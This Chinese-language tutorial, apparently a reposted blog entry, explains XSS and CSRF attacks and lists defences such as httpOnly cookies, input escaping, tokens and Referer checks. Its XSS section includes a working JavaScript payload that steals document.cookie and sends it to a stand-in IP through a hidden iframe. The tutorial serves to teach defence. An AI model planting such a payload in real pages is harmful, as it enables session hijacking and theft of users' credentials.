谈谈XSS&CSRF

Posted CSandCatti

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了谈谈XSS&CSRF相关的知识,希望对你有一定的参考价值。

XSS

  • Cross site scripting,全称“跨站脚本”

  • 特点是不对服务器造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论时,提交含有js的内容文本,而服务器没有过滤掉或者转义掉这些脚本,作为内容发布到页面上,那么其他用户在访问的时候就会运行这些脚本。

  • for example:


// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
   // 构造泄露信息用的 URL
   var cookies = document.cookie;
   var xssURIBase = "http://192.168.123.123/myxss/";
   var xssURI = xssURIBase + window.encodeURI(cookies);
   // 建立隐藏 iframe 用于通讯
   var hideFrame = document.createElement("iframe");
   hideFrame.height = 0;
   hideFrame.width = 0;
   hideFrame.style.display = "none";
   hideFrame.src = xssURI;
   // 开工
   document.body.appendChild(hideFrame);
})(window, document);

  • 防范方法:

    • httpOnly 设置cookie能否通过js来访问,拥有httpOnly的cookie只能被服务器访问,客户端不能访问,可以用来防止XSS脚本攻击

    • 对输入进行过滤或转义。

CSRF

  • Cross-site request forgery,全称“跨站请求伪造”;

  • 可以理解为伪造请求,冒充用户在站内的正常操作;

  • 一个CSRF攻击需要两个条件

    • 登录了一个受信任的网站A,并且本地存放了cookie;

    • 在不关闭A的情况下,访问了危险网站B。

攻击原理

  • 当网页发起http请求的时候,浏览器首先会检查是否有对应域名的cookie,如果有,就会自动添加到request header中,发送给服务器;

  • 绝大多数网站是通过cookie等方式来辨识用户身份;

  • for example:

Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;

  1. 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;

  1. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;

  1. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;

  1. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

 我们知道cookie是不能跨域的,那Web B是怎么把用户的在Web A的cookie发送出去的呢?

假设攻击者构造的是一个自动提交表单的页面,攻击者虽然无法获知 cookie ,在Web B返回的自动提交表单页面将表单的 action 指向 Web A ,表单提交的 POST 请求就会带上用户在 Web A里的 cookie。

还有就是<a>标签和image标签(GET型的CSRF的攻击手段),浏览器都会自动带上cookie。

  • 防范:

    • 使用验证码;token(令牌);

    • 验证 HTTP Referer 字段。

结语

以上就是关于csrf和xss攻击的小小总结,关于两种攻击的防范方法写的不是很全,有兴趣,可以上网看一下~理解了原理,对于防范方法的理解会容易很多。再附上两个参考链接:

https://www.jianshu.com/p/78f65023cf9d

http://adoyle.me/blog/how-csrf-works.html

以上是关于谈谈XSS&CSRF的主要内容,如果未能解决你的问题,请参考以下文章

web安全:xss && csrf

CSRF&SSRF

CSRF攻击 & XSS攻击

xss攻击 &和CSRF跨站请求伪造攻击的学习

XSS攻击&SQL注入攻击&CSRF攻击?

web安全技术--XSS和CSRF